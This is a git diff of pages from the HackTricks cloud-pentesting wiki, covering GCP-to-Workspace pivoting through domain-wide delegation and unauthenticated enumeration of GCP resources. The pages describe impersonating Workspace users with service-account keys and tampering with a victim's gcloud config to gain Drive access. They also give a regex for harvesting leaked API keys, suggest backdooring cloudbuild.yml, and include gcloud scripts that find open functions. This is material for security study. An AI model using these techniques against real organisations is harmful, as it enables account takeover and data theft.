-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## **From GCP to GWS**
 
@@ -21,25 +8,23 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).p
 
 Google Workspace's Domain-Wide delegation allows an identity object, either an **external app** from Google Workspace Marketplace or an internal **GCP Service Account**, to **access data across the Workspace on behalf of users**.
 
-{% hint style="info" %}
-This basically means that **service accounts** inside GCP projects of an organization might be able to i**mpersonate Workspace users** of the same organization (or even from a different one).
-{% endhint %}
+> [!NOTE]
+> This basically means that **service accounts** inside GCP projects of an organization might be able to i**mpersonate Workspace users** of the same organization (or even from a different one).
 
 For more information about how this exactly works check:
 
-{% content-ref url="gcp-understanding-domain-wide-delegation.md" %}
-[gcp-understanding-domain-wide-delegation.md](gcp-understanding-domain-wide-delegation.md)
-{% endcontent-ref %}
+{{#ref}}
+gcp-understanding-domain-wide-delegation.md
+{{#endref}}
 
 ### Compromise existing delegation
 
 If an attacker **compromised some access over GCP** and **known a valid Workspace user email** (preferably **super admin**) of the company, he could **enumerate all the projects** he has access to, **enumerate all the SAs** of the projects, check to which **service accounts he has access to**, and **repeat** all these steps with each SA he can impersonate.\
 With a **list of all the service accounts** he has **access** to and the list of **Workspace** **emails**, the attacker could try to **impersonate user with each service account**.
 
-{% hint style="danger" %}
-Note that when configuring the domain wide delegation no Workspace user is needed, therefore just know **one valid one is enough and required for the impersonation**.\
-However, the **privileges of the impersonated user will be used**, so if it's Super Admin you will be able to access everything. If it doesn't have any access this will be useless.
-{% endhint %}
+> [!CAUTION]
+> Note that when configuring the domain wide delegation no Workspace user is needed, therefore just know **one valid one is enough and required for the impersonation**.\
+> However, the **privileges of the impersonated user will be used**, so if it's Super Admin you will be able to access everything. If it doesn't have any access this will be useless.
 
 #### [GCP Generate Delegation Token](https://github.com/carlospolop/gcp_gen_delegation_token)
 
@@ -61,7 +46,7 @@ This is a tool that can perform the attack following these steps:
 2. Iterate on each project resource, and **enumerate GCP Service account resources** to which the initial IAM user has access using _GetIAMPolicy_.
 3. Iterate on **each service account role**, and find built-in, basic, and custom roles with _**serviceAccountKeys.create**_ permission on the target service account resource. It should be noted that the Editor role inherently possesses this permission.
 4. Create a **new `KEY_ALG_RSA_2048`** private key to each service account resource which is found with relevant permission in the IAM policy.
-5. Iterate on **each new service account and create a `JWT`** **object** for it which is composed of the SA private key credentials and an OAuth scope. The process of creating a new _JWT_ object will **iterate on all the existing combinations of OAuth scopes** from **oauth\_scopes.txt** list, in order to find all the delegation possibilities. The list **oauth\_scopes.txt** is updated with all of the OAuth scopes we’ve found to be relevant for abusing Workspace identities.
+5. Iterate on **each new service account and create a `JWT`** **object** for it which is composed of the SA private key credentials and an OAuth scope. The process of creating a new _JWT_ object will **iterate on all the existing combinations of OAuth scopes** from **oauth_scopes.txt** list, in order to find all the delegation possibilities. The list **oauth_scopes.txt** is updated with all of the OAuth scopes we’ve found to be relevant for abusing Workspace identities.
 6. The `_make_authorization_grant_assertion` method reveals the necessity to declare a t**arget workspace user**, referred to as _subject_, for generating JWTs under DWD. While this may seem to require a specific user, it's important to realize that **DWD influences every identity within a domain**. Consequently, creating a JWT for **any domain user** affects all identities in that domain, consistent with our combination enumeration check. Simply put, one valid Workspace user is adequate to move forward.\
    This user can be defined in DeleFriend’s _config.yaml_ file. If a target workspace user is not already known, the tool facilitates the automatic identification of valid workspace users by scanning domain users with roles on GCP projects. It's key to note (again) that JWTs are domain-specific and not generated for every user; hence, the automatic process targets a single unique identity per domain.
 7. **Enumerate and create a new bearer access token** for each JWT and validate the token against tokeninfo API.
@@ -100,11 +85,11 @@ An attacker with the ability to **create service accounts in a GCP project** and
 
 1. **Generating a New Service Account and Corresponding Key Pair:** On GCP, new service account resources can be produced either interactively via the console or programmatically using direct API calls and CLI tools. This requires the **role `iam.serviceAccountAdmin`** or any custom role equipped with the **`iam.serviceAccounts.create`** **permission**. Once the service account is created, we'll proceed to generate a **related key pair** (**`iam.serviceAccountKeys.create`** permission).
 2. **Creation of new delegation**: It's important to understand that **only the Super Admin role possesses the capability to set up global Domain-Wide delegation in Google Workspace** and Domain-Wide delegation **cannot be set up programmatically,** It can only be created and adjusted **manually** through the Google Workspace **console**.
-   * The creation of the rule can be found under the page **API controls → Manage Domain-Wide delegation in Google Workspace Admin console**.
+   - The creation of the rule can be found under the page **API controls → Manage Domain-Wide delegation in Google Workspace Admin console**.
 3. **Attaching OAuth scopes privilege**: When configuring a new delegation, Google requires only 2 parameters, the Client ID, which is the **OAuth ID of the GCP Service Account** resource, and **OAuth scopes** that define what API calls the delegation requires.
-   * The **full list of OAuth scopes** can be found [**here**](https://developers.google.com/identity/protocols/oauth2/scopes), but here is a recommendation: `https://www.googleapis.com/auth/userinfo.email, https://www.googleapis.com/auth/cloud-platform, https://www.googleapis.com/auth/admin.directory.group, https://www.googleapis.com/auth/admin.directory.user, https://www.googleapis.com/auth/admin.directory.domain, https://mail.google.com/, https://www.googleapis.com/auth/drive, openid`
+   - The **full list of OAuth scopes** can be found [**here**](https://developers.google.com/identity/protocols/oauth2/scopes), but here is a recommendation: `https://www.googleapis.com/auth/userinfo.email, https://www.googleapis.com/auth/cloud-platform, https://www.googleapis.com/auth/admin.directory.group, https://www.googleapis.com/auth/admin.directory.user, https://www.googleapis.com/auth/admin.directory.domain, https://mail.google.com/, https://www.googleapis.com/auth/drive, openid`
 4. **Acting on behalf of the target identity:** At this point, we have a functioning delegated object in GWS. Now, **using the GCP Service Account private key, we can perform API calls** (in the scope defined in the OAuth scope parameter) to trigger it and **act on behalf of any identity that exists in Google Workspace**. As we learned, the service account will generate access tokens per its needs and according to the permission he has to REST API applications.
-   * Check the **previous section** for some **tools** to use this delegation.
+   - Check the **previous section** for some **tools** to use this delegation.
 
 #### Cross-Organizational delegation
 
@@ -116,11 +101,9 @@ By **default** Workspace **users** have the permission to **create new projects*
 
 Therefore, a user can **create a project**, **enable** the **APIs** to enumerate Workspace in his new project and try to **enumerate** it.
 
-{% hint style="danger" %}
-In order for a user to be able to enumerate Workspace he also needs enough Workspace permissions (not every user will be able to enumerate the directory).
-{% endhint %}
+> [!CAUTION]
+> In order for a user to be able to enumerate Workspace he also needs enough Workspace permissions (not every user will be able to enumerate the directory).
 
-{% code overflow="wrap" %}
 ```bash
 # Create project
 gcloud projects create <uniq-projec-name> --name=proj-name
@@ -138,21 +121,20 @@ gcloud identity groups memberships list --group-email=g<group-email>
 # FROM HERE THE USER NEEDS TO HAVE ENOUGH WORKSPACE ACCESS
 gcloud beta identity groups preview --customer <org-cust-id>
 ```
-{% endcode %}
 
 Check **more enumeration in**:
 
-{% content-ref url="../gcp-services/gcp-iam-and-org-policies-enum.md" %}
-[gcp-iam-and-org-policies-enum.md](../gcp-services/gcp-iam-and-org-policies-enum.md)
-{% endcontent-ref %}
+{{#ref}}
+../gcp-services/gcp-iam-and-org-policies-enum.md
+{{#endref}}
 
 ### Abusing Gcloud credentials
 
 You can find further information about the `gcloud` flow to login in:
 
-{% content-ref url="../gcp-persistence/gcp-non-svc-persistance.md" %}
-[gcp-non-svc-persistance.md](../gcp-persistence/gcp-non-svc-persistance.md)
-{% endcontent-ref %}
+{{#ref}}
+../gcp-persistence/gcp-non-svc-persistance.md
+{{#endref}}
 
 As explained there, gcloud can request the scope **`https://www.googleapis.com/auth/drive`** which would allow a user to access the drive of the user.\
 As an attacker, if you have compromised **physically** the computer of a user and the **user is still logged** with his account you could login generating a token with access to drive using:
@@ -163,13 +145,12 @@ gcloud auth login --enable-gdrive-access
 
 If an attacker compromises the computer of a user he could also modify the file `google-cloud-sdk/lib/googlecloudsdk/core/config.py` and add in the **`CLOUDSDK_SCOPES`** the scope **`'https://www.googleapis.com/auth/drive'`**:
 
-<figure><img src="../../../.gitbook/assets/image (342).png" alt="" width="563"><figcaption></figcaption></figure>
+<figure><img src="../../../images/image (342).png" alt="" width="563"><figcaption></figcaption></figure>
 
-{% hint style="warning" %}
-Therefore, the next time the user logs in he will create a **token with access to drive** that the attacker could abuse to access the drive. Obviously, the browser will indicate that the generated token will have access to drive, but as the user will call himself the **`gcloud auth login`**, he probably **won't suspect anything.**
-
-To list drive files: **`curl -H "Authorization: Bearer $(gcloud auth print-access-token)" "https://www.googleapis.com/drive/v3/files"`**
-{% endhint %}
+> [!WARNING]
+> Therefore, the next time the user logs in he will create a **token with access to drive** that the attacker could abuse to access the drive. Obviously, the browser will indicate that the generated token will have access to drive, but as the user will call himself the **`gcloud auth login`**, he probably **won't suspect anything.**
+>
+> To list drive files: **`curl -H "Authorization: Bearer $(gcloud auth print-access-token)" "https://www.googleapis.com/drive/v3/files"`**
 
 ## From GWS to GCP
 
@@ -185,19 +166,6 @@ Abusing the **google groups privesc** you might be able to escalate to a group w
 
 ### References
 
-* [https://www.hunters.security/en/blog/delefriend-a-newly-discovered-design-flaw-in-domain-wide-delegation-could-leave-google-workspace-vulnerable-for-takeover](https://www.hunters.security/en/blog/delefriend-a-newly-discovered-design-flaw-in-domain-wide-delegation-could-leave-google-workspace-vulnerable-for-takeover)
+- [https://www.hunters.security/en/blog/delefriend-a-newly-discovered-design-flaw-in-domain-wide-delegation-could-leave-google-workspace-vulnerable-for-takeover](https://www.hunters.security/en/blog/delefriend-a-newly-discovered-design-flaw-in-domain-wide-delegation-could-leave-google-workspace-vulnerable-for-takeover)
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/gcp-understanding-domain-wide-delegation.md b/src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/gcp-understanding-domain-wide-delegation.md
similarity index 56%
rename from pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/gcp-understanding-domain-wide-delegation.md
rename to src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/gcp-understanding-domain-wide-delegation.md
index ace16c046..0f33fecee 100644
--- a/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/gcp-understanding-domain-wide-delegation.md
+++ b/src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/gcp-understanding-domain-wide-delegation.md
@@ -1,19 +1,6 @@
 # GCP - Understanding Domain-Wide Delegation
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 This post is the introduction of [https://www.hunters.security/en/blog/delefriend-a-newly-discovered-design-flaw-in-domain-wide-delegation-could-leave-google-workspace-vulnerable-for-takeover](https://www.hunters.security/en/blog/delefriend-a-newly-discovered-design-flaw-in-domain-wide-delegation-could-leave-google-workspace-vulnerable-for-takeover) which can be accessed for more details.
 
@@ -23,14 +10,14 @@ Google Workspace's Domain-Wide delegation allows an identity object, either an *
 \
 Google Workspace allows the creation of two main types of global delegated object identities:
 
-* **GWS Applications:** Applications from the Workspace Marketplace can be set up as a delegated identity. Before being made available in the marketplace, each Workspace application undergoes a review by Google to minimize potential misuse. While this does not entirely eliminate the risk of abuse, it significantly increases the difficulty for such incidents to occur.
-* **GCP Service Account:** Learn more about [**GCP Service Accounts here**](../gcp-basic-information/#service-accounts).
+- **GWS Applications:** Applications from the Workspace Marketplace can be set up as a delegated identity. Before being made available in the marketplace, each Workspace application undergoes a review by Google to minimize potential misuse. While this does not entirely eliminate the risk of abuse, it significantly increases the difficulty for such incidents to occur.
+- **GCP Service Account:** Learn more about [**GCP Service Accounts here**](../gcp-basic-information/#service-accounts).
 
 ### **Domain-Wide Delegation: Under the Hood**
 
 This is how a GCP Service Account can access Google APIs on behalf of other identities in Google Workspace:
 
-<figure><img src="../../../.gitbook/assets/image (58).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../images/image (58).png" alt=""><figcaption></figcaption></figure>
 
 1. **Identity creates a JWT:** The Identity uses the service account's private key (part of the JSON key pair file) to sign a JWT. This JWT contains claims about the service account, the target user to impersonate, and the OAuth scopes of access to the REST API which is being requested.
 2. **The Identity uses the JWT to request an access token:** The application/user uses the JWT to request an access token from Google's OAuth 2.0 service. The request also includes the target user to impersonate (the user's Workspace email), and the scopes for which access is requested.
@@ -38,17 +25,4 @@ This is how a GCP Service Account can access Google APIs on behalf of other iden
 4. **The Identity uses the access token to call Google APIs**: Now with a relevant access token, the service can access the required REST API. The application uses this access token in the "Authorization" header of its HTTP requests destined for Google APIs. These APIs utilize the token to verify the impersonated identity and confirm it has the necessary authorization.
 5. **Google APIs return the requested data**: If the access token is valid and the service account has appropriate authorization, the Google APIs return the requested data. For example, in the following picture, we’ve leveraged the _users.messages.list_ method to list all the Gmail message IDs associated with a target Workspace user.
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/README.md b/src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/README.md
new file mode 100644
index 000000000..8dd74fae5
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/README.md
@@ -0,0 +1,18 @@
+# GCP - Unauthenticated Enum & Access
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Public Assets Discovery
+
+One way to discover public cloud resources that belongs to a company is to scrape their webs looking for them. Tools like [**CloudScraper**](https://github.com/jordanpotti/CloudScraper) will scrape the web an search for **links to public cloud resources** (in this case this tools searches `['amazonaws.com', 'digitaloceanspaces.com', 'windows.net', 'storage.googleapis.com', 'aliyuncs.com']`)
+
+Note that other cloud resources could be searched for and that some times these resources are hidden behind **subdomains that are pointing them via CNAME registry**.
+
+## Public Resources Brute-Force
+
+### Buckets, Firebase, Apps & Cloud Functions
+
+- [https://github.com/initstring/cloud_enum](https://github.com/initstring/cloud_enum): This tool in GCP brute-force Buckets, Firebase Realtime Databases, Google App Engine sites, and Cloud Functions
+- [https://github.com/0xsha/CloudBrute](https://github.com/0xsha/CloudBrute): This tool in GCP brute-force Buckets and Apps.
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-api-keys-unauthenticated-enum.md b/src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-api-keys-unauthenticated-enum.md
new file mode 100644
index 000000000..c2e81cd6c
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-api-keys-unauthenticated-enum.md
@@ -0,0 +1,52 @@
+# GCP - API Keys Unauthenticated Enum
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## API Keys
+
+For more information about API Keys check:
+
+{{#ref}}
+../gcp-services/gcp-api-keys-enum.md
+{{#endref}}
+
+### OSINT techniques
+
+**Google API Keys are widely used by any kind of applications** that uses from the client side. It's common to find them in for websites source code or network requests, in mobile applications or just searching for regexes in platforms like Github.
+
+The regex is: **`AIza[0-9A-Za-z_-]{35}`**
+
+Search it for example in Github following: [https://github.com/search?q=%2FAIza%5B0-9A-Za-z\_-%5D%7B35%7D%2F\&type=code\&ref=advsearch](https://github.com/search?q=%2FAIza%5B0-9A-Za-z_-%5D%7B35%7D%2F&type=code&ref=advsearch)
+
+### Check origin GCP project - `apikeys.keys.lookup`
+
+This is extremely useful to check to **which GCP project an API key that you have found belongs to**:
+
+```bash
+# If you have permissions
+gcloud services api-keys lookup AIzaSyD[...]uE8Y
+name: projects/5[...]6/locations/global/keys/28d[...]e0e
+parent: projects/5[...]6/locations/global
+
+# If you don't, you can still see the project ID in the error msg
+gcloud services api-keys lookup AIzaSy[...]Qbkd_oYE
+ERROR: (gcloud.services.api-keys.lookup) PERMISSION_DENIED: Permission 'apikeys.keys.lookup' denied on resource project.
+Help Token: ARD_zUaNgNilGTg9oYUnMhfa3foMvL7qspRpBJ-YZog8RLbTjCTBolt_WjQQ3myTaOqu4VnPc5IbA6JrQN83CkGH6nNLum6wS4j1HF_7HiCUBHVN
+- '@type': type.googleapis.com/google.rpc.PreconditionFailure
+  violations:
+  - subject: ?error_code=110002&service=cloudresourcemanager.googleapis.com&permission=serviceusage.apiKeys.getProjectForKey&resource=projects/89123452509
+    type: googleapis.com
+- '@type': type.googleapis.com/google.rpc.ErrorInfo
+  domain: apikeys.googleapis.com
+  metadata:
+    permission: serviceusage.apiKeys.getProjectForKey
+    resource: projects/89123452509
+    service: cloudresourcemanager.googleapis.com
+  reason: AUTH_PERMISSION_DENIED
+```
+
+### Brute Force API endspoints
+
+As you might not know which APIs are enabled in the project, it would be interesting to run the tool [https://github.com/ozguralp/gmapsapiscanner](https://github.com/ozguralp/gmapsapiscanner) and check **what you can access with the API key.**
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-app-engine-unauthenticated-enum.md b/src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-app-engine-unauthenticated-enum.md
new file mode 100644
index 000000000..52d1c8097
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-app-engine-unauthenticated-enum.md
@@ -0,0 +1,25 @@
+# GCP - App Engine Unauthenticated Enum
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## App Engine
+
+For more information about App Engine check:
+
+{{#ref}}
+../gcp-services/gcp-app-engine-enum.md
+{{#endref}}
+
+### Brute Force Subdomains
+
+As mentioned the URL assigned to App Engine web pages is **`<project-uniq-name>.appspot.com`** and if a service name is used it'll be: **`<servicename>-dot-<project-uniq-name>.appspot.com`**.
+
+As the **`project-uniq-name`** can be set by the person creating the project, they might be not that random and **brute-forcing them could find App Engine web apps exposed by companies**.
+
+You could use tools like the ones indicated in:
+
+{{#ref}}
+./
+{{#endref}}
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-artifact-registry-unauthenticated-enum.md b/src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-artifact-registry-unauthenticated-enum.md
new file mode 100644
index 000000000..0fd2f5639
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-artifact-registry-unauthenticated-enum.md
@@ -0,0 +1,21 @@
+# GCP - Artifact Registry Unauthenticated Enum
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Artifact Registry
+
+For more information about Artifact Registry check:
+
+{{#ref}}
+../gcp-services/gcp-artifact-registry-enum.md
+{{#endref}}
+
+### Dependency Confusion
+
+Check the following page:
+
+{{#ref}}
+../gcp-persistence/gcp-artifact-registry-persistence.md
+{{#endref}}
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-cloud-build-unauthenticated-enum.md b/src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-cloud-build-unauthenticated-enum.md
new file mode 100644
index 000000000..62964c53a
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-cloud-build-unauthenticated-enum.md
@@ -0,0 +1,42 @@
+# GCP - Cloud Build Unauthenticated Enum
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Cloud Build
+
+For more information about Cloud Build check:
+
+{{#ref}}
+../gcp-services/gcp-cloud-build-enum.md
+{{#endref}}
+
+### cloudbuild.yml
+
+If you compromise write access over a repository containing a file named **`cloudbuild.yml`**, you could **backdoor** this file, which specifies the **commands that are going to be executed** inside a Cloud Build and exfiltrate the secrets, compromise what is done and also compromise the **Cloud Build service account.**
+
+> [!NOTE]
+> Note that GCP has the option to allow administrators to control the execution of build systems from external PRs via "Comment Control". Comment Control is a feature where collaborators/project owners **need to comment “/gcbrun” to trigger the build** against the PR and using this feature inherently prevents anyone on the internet from triggering your build systems.
+
+For some related information you could check the page about how to attack Github Actions (similar to this):
+
+{{#ref}}
+../../../pentesting-ci-cd/github-security/abusing-github-actions/
+{{#endref}}
+
+### PR Approvals
+
+When the trigger is PR because **anyone can perform PRs to public repositories** it would be very dangerous to just **allow the execution of the trigger with any PR**. Therefore, by default, the execution will only be **automatic for owners and collaborators**, and in order to execute the trigger with other users PRs an owner or collaborator must comment `/gcbrun`.
+
+<figure><img src="../../../images/image (339).png" alt="" width="563"><figcaption></figcaption></figure>
+
+> [!CAUTION]
+> Therefore, is this is set to **`Not required`**, an attacker could perform a **PR to the branch** that will trigger the execution adding the malicious code execution to the **`cloudbuild.yml`** file and compromise the cloudbuild execution (note that cloudbuild will download the code FROM the PR, so it will execute the malicious **`cloudbuild.yml`**).
+
+Moreover, it's easy to see if some cloudbuild execution needs to be performed when you send a PR because it appears in Github:
+
+<figure><img src="../../../images/image (340).png" alt=""><figcaption></figcaption></figure>
+
+> [!WARNING]
+> Then, even if the cloudbuild is not executed the attacker will be able to see the **project name of a GCP project** that belongs to the company.
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-cloud-functions-unauthenticated-enum.md b/src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-cloud-functions-unauthenticated-enum.md
new file mode 100644
index 000000000..c8730c80a
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-cloud-functions-unauthenticated-enum.md
@@ -0,0 +1,77 @@
+# GCP - Cloud Functions Unauthenticated Enum
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Cloud Functions
+
+More information about Cloud Functions can be found in:
+
+{{#ref}}
+../gcp-services/gcp-cloud-functions-enum.md
+{{#endref}}
+
+### Brute Force URls
+
+**Brute Force the URL format**:
+
+- `https://<region>-<project-gcp-name>.cloudfunctions.net/<func_name>`
+
+It's easier if you know project names.
+
+Check this page for some tools to perform this brute force:
+
+{{#ref}}
+./
+{{#endref}}
+
+### Enumerate Open Cloud Functions
+
+With the following code [taken from here](https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_misc/-/blob/master/find_open_functions.sh) you can find Cloud Functions that permit unauthenticated invocations.
+
+```bash
+#!/bin/bash
+
+############################
+# Run this tool to find Cloud Functions that permit unauthenticated invocations
+# anywhere in your GCP organization.
+# Enjoy!
+############################
+
+for proj in $(gcloud projects list --format="get(projectId)"); do
+    echo "[*] scraping project $proj"
+
+    enabled=$(gcloud services list --project "$proj" | grep "Cloud Functions API")
+
+    if [ -z "$enabled" ]; then
+	continue
+    fi
+
+
+    for func_region in $(gcloud functions list --quiet --project "$proj" --format="value[separator=','](NAME,REGION)"); do
+        # drop substring from first occurence of "," to end of string.
+        func="${func_region%%,*}"
+        # drop substring from start of string up to last occurence of ","
+        region="${func_region##*,}"
+        ACL="$(gcloud functions get-iam-policy "$func" --project "$proj" --region "$region")"
+
+        all_users="$(echo "$ACL" | grep allUsers)"
+        all_auth="$(echo "$ACL" | grep allAuthenticatedUsers)"
+
+        if [ -z "$all_users" ]
+        then
+              :
+        else
+              echo "[!] Open to all users: $proj: $func"
+        fi
+
+        if [ -z "$all_auth" ]
+        then
+              :
+        else
+              echo "[!] Open to all authenticated users: $proj: $func"
+        fi
+    done
+done
+```
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-cloud-run-unauthenticated-enum.md b/src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-cloud-run-unauthenticated-enum.md
new file mode 100644
index 000000000..71808873c
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-cloud-run-unauthenticated-enum.md
@@ -0,0 +1,59 @@
+# GCP - Cloud Run Unauthenticated Enum
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Cloud Run
+
+For more information about Cloud Run check:
+
+{{#ref}}
+../gcp-services/gcp-cloud-run-enum.md
+{{#endref}}
+
+### Enumerate Open Cloud Run
+
+With the following code [taken from here](https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_misc/-/blob/master/find_open_cloudrun.sh) you can find Cloud Run services that permit unauthenticated invocations.
+
+```bash
+#!/bin/bash
+
+############################
+# Run this tool to find Cloud Run services that permit unauthenticated
+# invocations anywhere in your GCP organization.
+# Enjoy!
+############################
+
+for proj in $(gcloud projects list --format="get(projectId)"); do
+    echo "[*] scraping project $proj"
+
+    enabled=$(gcloud services list --project "$proj" | grep "Cloud Run API")
+
+    if [ -z "$enabled" ]; then
+	continue
+    fi
+
+
+    for run in $(gcloud run services list --platform managed --quiet --project $proj --format="get(name)"); do
+        ACL="$(gcloud run services get-iam-policy $run --platform managed --project $proj)"
+
+        all_users="$(echo $ACL | grep allUsers)"
+        all_auth="$(echo $ACL | grep allAuthenticatedUsers)"
+
+        if [ -z "$all_users" ]
+        then
+              :
+        else
+              echo "[!] Open to all users: $proj: $run"
+        fi
+
+        if [ -z "$all_auth" ]
+        then
+              :
+        else
+              echo "[!] Open to all authenticated users: $proj: $run"
+        fi
+    done
+done
+```
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-cloud-sql-unauthenticated-enum.md b/src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-cloud-sql-unauthenticated-enum.md
new file mode 100644
index 000000000..f123b614e
--- /dev/null
